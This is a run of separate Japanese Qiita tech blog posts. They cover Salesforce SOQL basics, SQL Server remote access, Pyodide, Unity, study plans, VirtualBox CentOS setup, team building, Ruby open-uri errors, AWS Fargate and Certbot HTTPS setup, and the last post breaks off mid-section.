OmniAICreator/Qiita-1.07M huggingface dataset:
Salesforce Platform Developer I：データベースと.NET の基本

# データベースと.NET の基本
https://trailhead.salesforce.com/ja/content/learn/modules/database_basics_dotnet

## SQLからSOQLへの移行
### Force.com オブジェクトの理解

SQL：データがテーブルと行に保存。
SOQL：オブジェクトのレコードに保存。

オブジェクトは通常のテーブルにある機能をすべて備えているほか、機能性や汎用性を高める拡張機能が追加されています。
オブジェクトは標準オブジェクトとカスタムオブジェクト
### 似ているが同じではない
#### 処理内容差異
SQL:SELECT、INSERT、UPDATE、DELETEなど。
SOQL：SELECT、FIND。
Salesforce DML：INSERT、UPDATE、DELETEなど。

#### SQLのSELECTとSOQL文法差異
SQLのSELECT：SELECT *、JOINなどが使える。
SOQL：「\*」が利用できない（サーバー負荷削減ため）、JOIN無い：一つSOQL内、親子また子親の項目だけ抽出可能、関連がないオブジェクトが抽出不可。


### CHALLENGE
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/424429/fe6cf8a5-205c-4ef1-f85f-d9d17c99cc86.png" width=50%>

## SOSL クエリの作成
下記のQiita参照

https://qiita.com/joney19860716/items/5b4774265c4f6d98a17d#sosl%E6%96%87%E6%B3%95

### CHALLENGE
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/424429/9446e832-f786-0189-e4b1-cc44a469abf8.png" width=50%>

## 効率的なクエリの作成 
・インデックス付き項目
| インデックス付き項目 | 説明 |
| :--- | :--- |
|Id | 	システムによって生成された一意の 18 文字の項目。これはオブジェクトの主キーです。
|名前 |	テキストベースの項目。
|OwnerId | 	オブジェクトの所有者への参照。
|CreatedDate |	レコードが作成された日時。
|SystemModStamp |	レコードの最終更新日を含む参照のみの項目。この項目にはインデックスが付けられますが、類似の LastModifiedDate には付けられないため、クエリ内ではこの項目を使用することを検討します。
|RecordType |	RecordType の ID。RecordType は、特定のユーザーに対して異なる UI 結果を提供するために使用されます。
|主従項目 |	主従関係を示すために使用される外部キー項目。
|参照項目 |	参照関係を示すために使用される外部キー項目。
|一意の項目 |	カスタム項目を作成時に一意であるとマークすることができます。それによって、自動的にインデックスが付けられます。
|外部 ID 項目 |	一意の項目と同様に、これらのカスタム項目を外部 ID としてマークできます。これらは主にインテグレーションのために使用されます。

<font color="red">インデックスを使用してもセレクティブでなくなる例外</font>
・null 行に対するクエリ　　　　　　　　　　　(=null)
・否定的な絞り込み演算子　　　　　　　　　　(!= ‘New’)
・先頭のワイルドカード　　　　　　　　　　　(like ‘%smi%’)
・比較演算子を使用したテキスト項目　　　　　(Order_Number__c > 10)

### クエリ実行プランツール
#### 有効化
[開発者コンソール] > [Help (ヘルプ)] > [Preferences (設定)] > [Enable Query Plan (クエリプランを有効化)]
#### パフォーマンス確認
下部ペインの [Query Editor (クエリエディター)] タブ > SOQLまたSOSL作成 > [Query Plan (クエリプラン)] クリック
### CHALLENGE
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/424429/bfbcb333-257d-a3e5-516f-03a39f376c6a.png" width=50%>

## DMLを使用したレコードの変更
### 開発者コンソールでデータを管理する
下部ペインの [Query Editor (クエリエディター)] タブ > SOQL検索 > [実行] 
・[Insert Row (行を挿入)] > 項目値入力 > [Save Rows (行を保存)]
・行選択 > [Delete Row]
・[Refresh Grid (グリッドを更新)] > 最新化
### DML
下記のQiita参照

https://qiita.com/joney19860716/items/5b4774265c4f6d98a17d#sosl%E6%96%87%E6%B3%95

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/424429/e6d22ca9-b9e9-59ab-c01c-19092d9447dc.png" width=50%>
SQL Serverへ別PCから接続できるようにする

SQL Serverを導入するときに別PC（クライアント側）からDBにリモート接続する方法についての備忘録。

まず、サーバには SQL Server と SQL Server Management Studio (SSMS) をインストールする。 SSMS は日本語版もあるので、日本語が好きな人は日本語版をダウンロードする。

SQL Server のダウンロード | Microsoft SQL Server Management Studio (SSMS) のダウンロード - SQL Server Management Studio (SSMS) | Microsoft Docs
DB設定
次に、サーバ側でSSMSを起動してデフォルト値でログインする。

サーバ名：PCName\SQLEXPRESS
認証方法：Windows Authentication
接続後、DBの設定を行う。

DBのプロパティ > セキュリティ から、サーバ認証を「SQL Server認証モードとWindows認証モード」に変更する。
DBのプロパティ > 接続 から「このサーバーへのリモートサーバ接続を許可する」にチェックが入っていることを確認する。
DB > セキュリティ > ログイン を右クリックして「New Login…」をクリックする。
ログイン名を「SQL Server認証」とし、パスワードに自分の好きなユーザ名とパスワードを入力する。
DB > セキュリティ > ログイン 直下に追加したログインユーザが存在することを確認する。
（ログインユーザを追加しただけだと、テーブルをSELECTする権限すらないので、あとで各種権限を追加してあげます。）

SQL Server
次に、SQL Server の設定を行う。

SQL Server 構成マネージャーを起動する。
SQL Server 構成マネージャー > SQL Server ネットワークの構成 > SQLEXPRESSのプロトコル を選択する。
TCP/IPを有効にする。
TCP/IPのプロパティ > プロトコル
すべて受信待ち：はい
TCP/IPのプロパティ > IPアドレス
IPALL > TCPポート：1433
SQL Server 構成マネージャー > SQL Server のサービス > SQL Server再起動
SQL ServerBrowser
SQL Serverと一緒にインストールされる SQL ServerBrowser の設定も行う。

SQL Server 構成マネージャー > SQL Server のサービス > SQL ServerBrowser起動
サービス > SQL Server Browserのプロパティ > スタートアップの種類：自動
Windows Firewall
最後に、Windowsファイアウォールの設定を行う。

詳細設定 > 受信の規制 > 新しい規則…
SQL Serverの通信設定
プロトコルおよびポート：TCP/1433
プロファイル：ドメイン、プライベート、パブリック
名前：SQL Server (tcp/1433)
SQL ServerBrowserの通信設定
プロトコルおよびポート：UDP/1434
プロファイル：ドメイン、プライベート、パブリック
名前：SQL ServerBrowser (udp/1434)
動作確認
固定IPを設定してから、確認を行う。

サーバ側でSQL Serverに以下で接続できるか確認する
認証方法：「SQL Server認証」
サーバ名：「固定IP\SQLEXPRESS」
ユーザ名・パスワード：自分で設定した値
クライアント側でSQL Serverに以下で接続できるか確認する
認証方法：「SQL Server認証」
サーバ名：「固定IP\SQLEXPRESS」
ユーザ名・パスワード：自分で設定した値
1.で失敗する場合はDBのインストール・設定ミス、 2.で失敗する場合はファイアウォールやSQL ServerBrowserの設定ミスが考えられます。

以上です。


参考文献:
https://tex2e.github.io/blog/database/sqlserver-setup
local環境でPyodideから自作のPython Packageを使う

# Pyodideとは
まずはちょっとしたご紹介を。　
>Pyodide is a port of CPython to WebAssembly/Emscripten.

翻訳: Pyodideは、CPythonからWebAssembly/Emscriptenへの移植です。

ということで、Pyodideを使うとブラウザ側でpythonを使えるようになります。つまりPythonがインストールされていなくてもPythonの処理が動きます。　その恩恵として、Pythonの成果物をいち早くユーザ(チームメンバ、クライアント、会社内の社員、etc...)の手元に届けることができます。

弱点としては読み込みに5秒ほど時間がかかるということです。こちらはロードマップのリストに入っているので改善されることを期待(https://pyodide.org/en/stable/project/roadmap.html)

# 実行時の環境
macOS
python3.9

# 環境構築からPackageの読み込みまで
Pythonの環境構築からローカルサーバーを立てるまでのワンライナー(git clone https://github.com/pycetra/PyodideSample してから実行してください)
```shell

# python環境の構築
python3 -m venv py39
source py39/bin/activate
pip install --upgrade pip
pip install wheel

pip list > requirements.txt
python --version > python_version.txt

# 自作のPython Packageの作成
python setup.py bdist_wheel


# Pyodideのダウンロードと解凍(versionは適宜変更してください)
curl -OL https://github.com/pyodide/pyodide/releases/download/0.20.0a1/pyodide-build-0.20.0a1.tar.bz2
tar -jxvf pyodide-build-0.20.0a1.tar.bz2

# ローカルサーバの起動
python -m http.server 5000

```
上記コマンドを実行した後に、ブラウザからlocalhost:5000/sample.htmlへアクセスするとPyodideの起動とPackageの実行が確認できます。

![image.png](https://github.com/pycetra/PyodideSample/blob/master/img.png?raw=true)

# 各ファイルのポイント

.html file上のpathの設定が必要になります。

- point: ローカルサーバーを立てたディレクトリにあわせて, "pyodide.mjs" のpathを設定すること。 (フロントエンドを初めてさわる方はご注意ください。)

./sample.html
```html
<!DOCTYPE html>
<html>
  <head>
    <script type="module">
      import { loadPyodide} from "./pyodide/pyodide.mjs";
      async function main() {
          let pyodide = await loadPyodide();
          await pyodide.loadPackage("../dist/sample-0.0.0-py3-none-any.whl");
          await pyodide.runPython(`
            from sample import hello
            hello.helloPyodide()
          `);
        };
      main();
    </script>
  </head>
  <body></body>
</html>

```

./setup.py
```py
import setuptools

setuptools.setup(
    name="sample",
    packages=setuptools.find_packages()
)
```


./sample/hello.py
```py
def helloPyodide():
	print('hello pyodide!!!!!!!!!!!!!!!!!!!!!')
```

Pythonファイルは動作確認に必要な最低限の構成にしました。
つまずきそうな部分はpathの設定くらいでそのほかはそれほど苦労しませんでした。便利ですね！

# 参考
本記事のgithub repository: https://github.com/pycetra/PyodideSample
Unity: AnimationコンポーネントのPlay AutomaticallyはSetActiveでも動くから便利

AnimationコンポーネントのPlay Automaticallyにインスペクタからtrueにしていると、EditorからPlayした時に勝手にアニメーションがPlayされる。
しかしSetActive(true)でオブジェクトをActiveにした場合でもアニメーションがPlayされるため、あらかじめロード用のアニメーションを用意していれば
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1699525/c70a7583-83ca-0c1c-7e12-b6fb729595e9.png)
```csharp:loadingAnim
 [SerializeField]
    private GameObject loadingIconImage;
//何かしらの非同期メソッドを実行して、さらにその間に読み込み中アニメーションを起動する
  public async UniTask<string> Request_Installation()
    {
        loadingUI.SetActive(true);

        var response_text = await Installation();
               
        loadingUI.SetActive(false);

        return response_text;
    }
```
こんな感じで読み込み画面とリクエストの処理をシンプルに記述することが出来る。
foreachでAnim.Play()とかしなくて済む。
ど素人がE資格合格を目指す（第0回：自己紹介）

# 投稿内容
プログラミングも初心者の自分がE資格の取得を目指しています。
モチベーション維持と学んだことのアウトプットをこちらでしていきたいと思っています。
E資格受験前にkaggleでも勉強・挑戦したいと思います。

# 目標
2023年#1のE資格合格

# 使用したことがある言語
python
※Qiitaで記事を書くにあたって初めてMarkdown記法に触れました。。。。

# 現在のスキル
・プログラミング実務経験なし
・pythonを独学で学習中

# これまで作成したアプリ
・QRコード読み取り
・エクセルデータから集計してメール配信するアプリ
・エクセルデータを集計しブラウザにグラフ表示

# これまでの資格
G検定（2020年）
ITパスポート
（基本や応用情報資格を取るべきか考え中）


# 使用する主な教科書
E資格エンジニア問題集（インプレス社）
を軸として勉強を進めたいと思います。

https://www.amazon.co.jp/%E5%BE%B9%E5%BA%95%E6%94%BB%E7%95%A5%E3%83%87%E3%82%A3%E3%83%BC%E3%83%97%E3%83%A9%E3%83%BC%E3%83%8B%E3%83%B3%E3%82%B0E%E8%B3%87%E6%A0%BC%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E5%95%8F%E9%A1%8C%E9%9B%86-%E5%BE%B9%E5%BA%95%E6%94%BB%E7%95%A5%E3%82%B7%E3%83%AA%E3%83%BC%E3%82%BA-%E3%82%B9%E3%82%AD%E3%83%AB%E3%82%A2%E3%83%83%E3%83%97AI%E6%A0%AA%E5%BC%8F%E4%BC%9A%E7%A4%BE-%E5%B0%8F%E7%B8%A3-%E4%BF%A1%E4%B9%9F-ebook/dp/B08H79Y7X7/ref=sr_1_2?adgrpid=113700409801&gclid=Cj0KCQjw1N2TBhCOARIsAGVHQc4alWh75yqy5kQE-xBjJm210x-NnEopDXQ6I-bucKJnr8PqhnJXcG8aAoYGEALw_wcB&hvadid=553908720610&hvdev=c&hvlocphy=20636&hvnetw=g&hvqmt=b&hvrand=2586124209927564206&hvtargid=kwd-855508938616&hydadcr=16037_13486743&jp-ad-ap=0&keywords=e%E8%B3%87%E6%A0%BC+%E5%95%8F%E9%A1%8C%E9%9B%86&qid=1652073343&sr=8-2


# 想定している学習の流れ
6月　基礎数学
7月　機械学習の基礎
8月　データ前処理方法
10月　認定講座受講(認定功罪 & kaggle挑戦
12月　認定講座終了
1月　kaggl完了
実装（年間通して試していく）
・GAN
・時系列データ

2023年2月　E資格試験受検　→　合格

# その他
今後勉強していく中で色々とアウトプットしていく予定です。
間違いや書き方に不備があればご指摘いただけると幸いです。

# 参考文献
本投稿内容に直接関係したわけではないですが、今後記事を投稿するときの参考にしたいと思った記事です。

https://qiita.com/jnchito/items/215c2d51599eb29adabc
2022年5月 AIOps 定点観測

# 概要
AIOps の動向や学習のため、Google で AIOps を検索した結果を記録している記事です。

# 2022年5月2日の検索結果 (リスティング広告)

![20220502_AIOps_1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2345504/4cbaa5eb-b534-1cfb-dd0b-354f0ab87eee.png)


* IBM
* JIG-SAW 株式会社
* Splunk
* NEC

リスティング広告だと、トップが IBM でした(2か月連続)。JIG-SAW 株式会社、Splunk、NEC と続いています。
JIG-SAW 株式会社は、日本の MSP のようですね。

先月の結果はこちら --> [2022年4月 AIOps 定点観測](https://qiita.com/mkodera/items/daa89be23b6e0f4e9e4e)


# 2022年5月2日の検索結果 (広告以外)

![20220502_AIOps_2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2345504/ad08694e-1057-2e97-aac5-8f7f985ec33b.png)


* Splunk
* JBSVC
* ServiceNow
* ITmedia
* テックファーム株式会社
* NTTデータ
* 日本情報通信株式会社

広告以外だと、Splunk と JBSVC は不動の順位です。その後に ServiceNow、ITmedia が続いています。
テックファーム株式会社は、日本の SIer のようです。 

先月の結果はこちら --> [2022年4月 AIOps 定点観測](https://qiita.com/mkodera/items/daa89be23b6e0f4e9e4e)
Windows10でVirtualBox上でCentOS7をバッググラウンド起動し、TeraTerm接続する。

# はじめに
シェル芸を始めたくなりました！
そこで以下、その準備をするための記事となります。
リンクばかりですが、同じシェル芸を始めたいと思っている方の参考になれば幸いです。

# CentOS7をインストール
https://www.centos.org/download/

# VirtualBoxをインストール
https://www.oracle.com/jp/virtualization/technologies/vm/downloads/virtualbox-downloads.html

# TeraTermをインストール
https://ja.osdn.net/projects/ttssh2/

# 仮想マシン起動
以下のサイトが画像付きで参考になります。
仮想マシンのタイプはLinux、バージョンはRed Hat（64bit）です。
仮想マシンが起動したら、インストールしたCentOSのISOファイルを指定します。
・Aresei-note.com「Oracle VirtualBoxで仮想マシンを新規作成する方法(OSインストール) | 仮想マシンソフト」

https://aresei-note.com/7901

# CentOSの初期設定
・WELCOME TO CENTOS 7と表示されたら、日本語を選んで続行。
・「ソフトウェアの選択」でサーバー（GUI使用）にする（GUIがいらなければ必要ないです）。
・KDUMPを無効にする。
・「ネットワークとホスト名」から、ホスト名を適切に変更し、IPv4アドレスとDNSサーバを以下の通り設定し、適用。
　IPv4アドレス：10.0.2.15　サブネットマスク：/24　デフォルトゲートウェイ：10.0.2.2
　DNSサーバ：X.X.X.X
※X.X.X.Xはご自身の環境のDNSサーバのIPに読み替えて設定してください。自宅であれば多くの場合ルータのIPです。
・「インストールの開始」を押下し、待っている間にrootパスワードとユーザを設定しておく。インストールが完了したら、再起動を押下。
※適宜キーボード右側のCtrlキーで仮想マシンから抜けられます。

# ネットワーク設定
初期状態だと仮想マシンがインターネットにつながっていないため、yum update等ができず色々と不便なのでネットワーク周りの設定を行います。
以下のサイトが参考になります。
・sps-katoh.com「VirtualBox ネットワークの設定」

https://www.sps-katoh.com/soliloquy/?p=108

### ポイント
１．VirtualBoxのネットワーク設定でアダプター1とアダプター2を設定する。ホストOSのイーサネットアダプターに「VirtualBox Host-Only Network」が追加されていて、IPが「192.168.56.1」（★）になっていること。
２．ゲスト側で「enp0s3」と「enp0s8」が設定されていて、IPがそれぞれ「10.0.2.15」（☆）と「192.168.56.X」（★）になっていること。
３．ゲスト側で「ip route」したときにデフォルトルートがただ一つVirtualBoxの仮想ルータのIP「10.0.2.2」（☆）となっていること。そしてホストOSに疎通が通ること。
４．ゲスト側のファイアウォール設定で、ssh、http、httpsがすべて空いていること。
※☆、★同士がそれぞれ同じセグメントであることが大事です。

ここまで設定すればyum updateが成功するはずです。

# 画面リサイズ設定
今のままだとGUI使用したときに画面が小さいので以下のサイトを参考に、大きくできるように設定します。

・urashita.com「VirtualBoxのCentOS 8のスクリーンが小さい！画面サイズ」

https://urashita.com/archives/34216

# 仮想マシンをバッググラウンド起動
VirtualBoxで仮想マシンを起動する際に、起動ボタンの横にある▼を選択すると「ヘッドレス起動」という項目があるので、押下する。
TeraTermで仮想マシンの「192.168.56.X」のIPを指定し、接続。

これで、タイトル通り目標達成できました。

# 2022/6/4追記
PCを立ち上げたら自動的にVMが起動するようにしたいと思い、以下のようなバッチをスタートアップに追加しました。
```java:
> cd C:\Program Files\Oracle\VirtualBox
> VBoxManage startvm [VM名] --type headless > C:\Users\[ログインユーザ名]\Desktop\myHostStartup.log
```
[VM名]、[ログインユーザ名]のところは適宜変更してください。
一応VMの起動に何らかの問題があった時のために、デスクトップにログをはくようにしています。

# おわりに
これからシェル芸を楽しみたいと思います。
参考にさせて頂いた記事のライターの皆様、ありがとうございます。
チームビルディングやってみた 〜チーム立ち上げ編〜

## ペア＋ペア＝チーム
2022年1月に、チームに新しく2人の新メンバーが参加することになりました。現在のチームは2人だったので人数的には倍になります！！！これまでは、チームというよりはペア感覚で仕事を進めていたので、チームとしてうまく動いていくために「チームビルディング」に力を入れて取り組んでみることにしました。

## チームビルディングとは
Wikipediaによると
> **チームビルディングは、社会的関係を強化し、**チーム内の役割を定義するために使用されるさまざまなタイプの活動の総称であり、多くの場合、共同作業が含まれます。
> 
簡単にいうと、チーム内でお互いのことをよく知ることで関係性を良くし、チームのパフォーマンスを上げていく活動だと思っています。今回は半分が新メンバーであり、お互いについてあまり知らない状態なので、お互いに相手を知ることに重点をおいて、取り組んでみました。

## チーム立ち上げ時にやってみたワーク（1）画像で自己紹介
 まず最初に行ったのが「画像で自己紹介」というものです。これは自分に関する画像をネットなどから色々と拾ってきてもらい、その画像を見てもらいながら自己紹介します。スライドなどを準備するとなると大変ですが、画像を拾ってくるだけなので、比較的簡単で短時間でできます。また、口頭で説明するよりもイメージが伝わりやすく、注目される画像をもってくることで、話も広がりやすくなります。
#### 手順
1. 5分ほど時間をとって画像を集めてもらいます
1. 集めた画像は、チーム全員が見れるオンラインツール（※1）などに貼り付けておきます。（私のチームではツールとしてMiroを使用しています）
1. 各メンバー3分ほどで画像を説明しながら自己紹介してもらいます。
1. 1、2つほど他のメンバーが質問して話を広げます。

個性的な画像だとツッコミがいがあって話が盛り上がります。
実際の自分の持っている画像データなどを混ぜても、より詳細に話すことができるので話が盛り上がります。

↓ 実際にやってみた結果
 ![スクリーンショット 2022-05-09 12.03.06.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/815054/eccf07dc-d22d-00b0-1034-5c5941c8119d.png)
　アニメや映画などに興味を持っていることが共通点として分かり盛り上がりました！
　パッとみて「鬼滅読んでるの！？」って質問が飛んでいたりと質問の幅を広げやすい画像もよかったです。

## チーム立ち上げ時にやってみたワーク（2） 価値観カード
各メンバーの大切にしている価値観について、ゲーム形式で気軽に知ることできるワークです。既存のサービスを利用して簡単に行うことができます。メンバーはたくさんある価値観のカードの中から、テーマについて自分が大事だと思うカードを手札に集め、大事だと思わないカードを捨てていきます。1人のメンバーが持てるカードは5枚と決まっているので、どの価値観を優先させるのかなどの判断が必要になります。
#### 手順
1. [Wevox values card online版](https://values-card.wevox.io/rooms/join)にアクセスしてメンバー全員アカウントを作成します。
1. 誰かひとりが「新規ルーム作成」で部屋を作成し、他のメンバーを招待します。
1. メンバーが揃ったらゲームを開始します。（詳しい遊び方は[こちら](https://intercom.help/wevox/ja/articles/4567767-%E9%81%8A%E3%81%B3%E6%96%B9%E3%81%A8%E3%83%AB%E3%83%BC%E3%83%AB%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6-wevox-values-card-online%E7%89%88)をご確認ください）
1. ゲームが終わったら全員の手札を公開して、ひとりずつなぜその手札になったのかを説明します。
1. 他メンバーはいくつか質問をします。

価値観としてカードに書かれているものは、「勝利」「努力」「幸せ」といった抽象的な言葉多く、テーマに合わせてどう解釈してカードを選択したのかがポイントになります。同じ価値観カードでも、人によっては解釈が違うので、その解釈の違いを話し合ったり質問し合うことで、よりお互いのことを知ることができると感じました。より楽しく進めるポイントとして少し大げさなリアクションを取ると盛り上がりました。（「え、〜〜さんが『愛』を捨てた！」「冷徹に仕事を進めるタイプなんですか？」など。）
![スクリーンショット 2022-05-09 12.05.33.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/815054/d061a4da-a355-dddf-bed7-765fec160a3c.png)
画像は「人生で大事な5つの価値観」になってますが、「仕事で大事な5つの価値観」での結果ですw


## まとめ
私のチームで行ったチームビルディングのうち、最初にメンバーが揃ったときに行ったワークを2つ紹介しました。
どちらのワークも単に自己紹介するよりも、お互いのことをよく知ることができ、
結果などから質問を広げやすいので、話も盛り上がりました。
次回は、初めましてフェイズが終わって、
チームとして進んで行くために行ったワーク2つを紹介したいと思います。
プリザンタを使用した運用管理のまとめ

# 内容
OSSのPleasanterを使用してシステム運用保守の効率化を行ってきました。
既に記事にした内容もありますが今まで実施してきた内容のまとめになります。

# 利用用途

システムの運用保守業務の中で「顧客情報管理」、「ナレッジ管理」、「インシデント管理」に使用しています。本内容は「プリザンターユーザ会、User Meetup#3」のLTで発表させて頂きました。
株式会社インプリム様、発表の機会を頂きありがとうございます。

https://speakerdeck.com/toru_kubota/operation-management-using-pleasanter

# 他システムとの連携
* ZABBIXのアラートメールにプリザンタのリンク貼り付け
障害が発生した際、直ぐにプリザンタにまとめている運用管理情報（対応手順や連絡先など）にアクセス可能

* FESSで全文検索
プリザンタ＋その他利用している運用系ツール（MediaWikiなど）を一括して検索可能

* VBでプリザンタからExcel文章作成
プリザンタの情報から所定の文章を作成可能、逆に所定文章からプリザンタにインポートも可能

![pst01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2523652/1fc4f1e6-c279-7fa1-d40d-f40a14df573a.png)


# プリザンタの運用管理

## サーバ構築
インストールに時間がかかるため、インストール用のPlaybookを作成しました。
検証環境構築時ににも使用出来ます。（Dockerでイメージ化した方が速いですが）

![pst1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2523652/73dc1d56-6436-1a40-7332-2b3a61784810.png)

![pst2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2523652/322c8903-9308-4be8-760a-7cd9bcc78a1a.png)

## テーブル情報の差分検出
テーブル情報を定期的にエクスポートします。
取得したテーブル情報をGitLabにアップロードして、テーブルのどこに変更があったか視覚的に確認しやすい仕組みにしています。

![pst3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2523652/365576cd-054d-7380-3560-2733b24f0a78.png)

![pst4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2523652/571bf040-e3cf-24c3-7c86-9f618b2a29d6.png)

![pst5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2523652/e3dd6c3c-399a-48c2-045d-63a7b0089b98.png)

![pst6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2523652/a006296c-5a41-d64d-f6c7-2742af18d62d.png)
open(url)で起きたエラー

# No such file or directory @ rb_sysopen - URL (Errno::ENOENT)
### 開発環境
使用しているpcのスペック：
MacBook Pro (13-inch, 2018, Four Thunderbolt 3 Ports)
macOS Monterey　バージョン　12.3.1

使用しているrubyのversion：
ruby 3.0.3p157 (2021-11-24 revision 3fb7d2cadc) [x86_64-darwin21]

```ruby
require 'open-uri'
require 'nokogiri'

url = 'http://www.yahoo.co.jp/'
charset = nil
html = URI.open(url) do |f|
  charset = f.charset
  f.read
end

doc = Nokogiri::HTML.parse(html, nil, charset)
p doc.title
```
上記のようなyahooのページタイトルを表示させるrubyのプログラムを動かすと，以下のようなエラーが起きた．
```
scrape_yahoo_title.rb:11:in `initialize': No such file or directory @ rb_sysopen - http://www.yahoo.co.jp/ (Errno::ENOENT)
        from scrape_yahoo_title.rb:11:in `open'
        from scrape_yahoo_title.rb:11:in `<main>'
```
# 実行したこと
```ruby
html = open(url) do |f|
```
という1文を

```ruby
html = URI.open(url) do |f|
```
のように，open(url)の前にURIをつけると，プログラムが動いた．

# エラーの原因
Ruby3.0.3下では，open-uriライブラリはopenメソッドを用いるとエラーが出るようだ．openの代わりにURI.openを使うとエラーが起きない．
Ruby 3.0.0 リリース(https://www.ruby-lang.org/ja/news/2020/12/25/ruby-3-0-0-released/
)を見ると，「原則として,2.7 で警告の出ていたコードは動かなくなります。」と記述されいた．そこで詳しくニュースファイル (https://github.com/ruby/ruby/blob/v3_0_0/NEWS.md)
をみて見ると，「Requiring 'open-uri' no longer redefines Kernel#open. Call URI.open directly or use URI#open instead.」と記述してあり，Ruby 3.0.0から，urlを開くためにopenメソッドは使えない．

以下は，rubyのOpenURIのリファレンス
- https://docs.ruby-lang.org/ja/latest/class/OpenURI=3a=3aMeta.html
Windowsにnanoエディタをインストールする

下記サイトから「GNU-Nano_Win32(static).zip」をダウンロードする。

https://sourceforge.net/projects/nano-for-windows/


nanoコマンドでどこからでもエディタを開けるように（zipを展開後）nano.exeをパスに加える。

Windowsでパスを確認するには、「ここに入力して検索」に **env** と入力して、「システム環境変数の編集」を開く。

「詳細設定」→「環境変数（N）」→「Path」→「編集（E）」と進むと環境変数の一覧がみれる。

![winpath.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2659122/faf82f02-333f-a415-e23b-ee24dcb71f1f.png)

その一覧の中から適当なパスを決めて、そのパスの中にnano.exeをいれてやる。

もしくは新にパスを作成してもよい。

あとはコマンドプロンプトでもPowerShellでも`nano file.txt`という風にやればnanoエディタで編集できる。


ちなみに、自分の環境ではchocolateyによるインストールではnano-winに関するエラーがでてうまくインストールできませんでした。
Fargateについて学んだことをまとめてみた。

こんにちは、k_ukiです。「AWSではじめるクラウド開発入門」の7章を進めている際にFargateという機能について学びました。今回は、そのFargateについてまとめていきます。
## Fargateとは？
FargateはECSの管理下にあるクラスターの中で計算を行う仕組みのことです。
クラスター内で計算を行う実態としてFargateの他にEC2が挙げられますが、Fargateは<b>ECSの利用に特化した設計</b>となっています。

## EC2との違い
　EC2との大きな違いとしてFargateは物理的な実態を持っていないという点が挙げられます。そのため、何か新しいソフトウェアをインストールするといったこともできません。Fargateは物理的な実態を持たない代わりに<b>Dockerなどのコンテナを用いて計算タスクを実行します。</b>

　Fargateを用いることでEC2よりも容易にスケーリングなどの設定やプログラムを構築することができます。

　また、EC2インスタンスを用いて計算タスクを実行する場合、コンテナを実行するためのdocker engineやインスタンスの管理を行う必要があります。Fargateを用いることでこれらの管理を行わずに計算を実行するための環境を構築することができます。
【初心者でも無料でHTTPS化したい!!!】Certbotを用いて実装【画像つき】

# この記事でわかること
HTTPでのデプロイ後Certbotを用いた無料でのHTTPS取得方法を解説します!
独学やスクールでの初学者に向けて丁寧に解説していきます。

参考にしていただけると幸いです^^
また間違っているところがあればご教授お願いします

# 環境
Ruby 2.6.3
Rails 5.2.6
本番環境 nginx／Puma／Amazon Linux2／AWS EC2／MySQL

___※CertbotはAmazon Linuxでは動作しません
Amazon Linux2を使用している場合のみ実装できます___

# 目次
1. EC2にHTTPSを追加する
1. nginxのconfファイルを編集
1. railsのconfigファイルを編集
1. Certbotの実装
1. 自動更新のcronを設定する

# 解説
### 1.EC2にHTTPSを追加する

AWSにログインしEC2を開いて、
インスタンスID > セキュリティ > セキュリティグループの順に進みます。

![C9F6DDB3-7B9F-4E53-B85F-FF5FB7D83440_1_201_a.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2499667/9bba8571-42bd-844b-24e5-5c6253b1c9db.jpeg)





次にインバウンドルール > インバウンドルールを編集の順に進み、使用するポートのタイプを｢HTTPS｣に変更します。
![8038EC06-77C5-46BE-84DC-309320163930.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2499667/1b5c2a9f-c6ea-c0d2-0671-a04045e211f2.jpeg)

### 2.nginxのconfファイルを編集

cloud9でEC2にログインして、｢/etc/nginx/conf.d/アプリケーション名.conf｣を編集します。
追記する箇所は2箇所で
- `server_name`に "取得したドメイン名"
- `location/`の{}カッコ内に " proxy_set_header X-FORWARDED_PROTO https;"
と記載します。
![2A64D5AE-7039-42F8-BF14-FE8CF6C50E83_1_201_a.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2499667/aa6b1d78-5067-b603-86fe-904efd1e54c6.jpeg)

### 3.railsのconfigファイルを編集

config/environments/production.rbの50行目のコメントを外します。

![DAFE18DF-5841-40E3-A894-2FDA46ECFC11.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2499667/8a881036-d021-9e8e-0745-3465c6bbf90d.jpeg)

### 4.Certbotの実装

EC2にログインして、下記コマンドを実行します。
コピペでOKです☆

```
$ cd 
$ sudo wget -r --no-parent -A 'epel-release-*.rpm' http://dl.fedoraproject.org/pub/epel/7/x86_64/Packages/e/
$ sudo rpm -Uvh dl.fedoraproject.org/pub/epel/7/x86_64/Packages/e/epel-release-*.rpm
$ sudo yum-config-manager --enable epel*
$ sudo yum install -y certbot python2-certbot-nginx
$ sudo certbot --nginx
```

途中で質問をされるので下記のように答えます!
- 緊急時の通知用メールアドレス
    →アドレスを入力しEnter

- 利用規約への同意
→「Y」と入力 して［Enter］キーを押す


- Electronic Frontir Foundationへのメール共有聞かれる
→「N」と入力 して［Enter］キーを押す

- 数字を入力して［Enter］キーを押す
→ドメインにわり振られるナンバーです。(コマンドラインの返答をよく見ると1とか2とか書いてあります!)


以下の表示がでれば成功です!
```
Congratulations! You have successfully enabled https://hoge.com 
```

成功を確認したら、Nginxを再起動しておきましょう!
```
sudo systemctl restart nginx
```

### 5.自動更新のcronを設定する
HTTPSの暗号化通信は90日の期限が設けられています。
